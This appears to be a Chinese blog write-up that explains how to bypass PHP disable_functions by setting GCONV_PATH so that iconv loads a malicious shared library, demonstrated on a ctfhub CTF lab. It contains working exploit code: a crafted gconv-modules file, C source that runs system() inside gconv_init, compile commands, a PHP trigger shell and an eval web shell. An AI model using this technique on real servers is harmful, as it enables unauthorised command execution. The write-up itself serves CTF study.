使用GCONV_PATH与iconv进行bypass disable_functions

你需要知道的前置知识

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。
  4. 一些其他步骤。

bypass过程

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

当我们使用浏览器访问我们上传的shell之后,服务器会做如下步骤:

  1. 设定GCONV_PATH指向我们的gconv-modules文件。
  2. 执行php的iconv函数,本质上调用了glibc的iconv_open函数。
  3. iconv_open函数依照GCONV_PATH找到我们上传gconv-modules文件。
  4. 根据gconv-modules文件的指示找到参数对应的.so文件。
  5. 调用.so文件中的gconv()和gonv_init()函数,当然,其中是我们想要服务器执行的系统命令。

实际操作

首先上传gconv-modules文件于/tmp文件夹,其内容如下:

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

然后书写利用的.so文件内容:

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("希望执行的命令");
}

然后执行shell命令:

gcc 源代码文件名.c -o 自定义字符集名.so -shared -fPIC

上传该文件到/tmp。

书写shell.php:

<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("自定义字符集名", "UTF-8", "whatever");
?>

上传到web目录下然后浏览器访问执行即可。

靶场实战

靶场使用的是ctfhub的靶场。

目标是执行/readflag命令获取flag值。

进入网站,网页显示当前脚本的源代码:

<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

使用蚁剑连接,发现无法进行命令执行,需要bypass disable_function。

书写gconv-modules文件,内容如下:

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2
module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2

上传该文件至/tmp文件夹下。

再书写hack.c文件,内容如下:

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("/readflag > /tmp/flag");
}

执行shell命令:

gcc hack.c -o hack.so -shared -fPIC

将生成的.so文件上传到/tmp。

书写shell.php内容如下:

<?php
    putenv("GCONV_PATH=/tmp/");
    iconv("hack", "UTF-8", "whatever");
?>

上传到/var/www/html文件夹下。

使用浏览器访问。

此时/tmp/flag中已经存储了flag值。

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值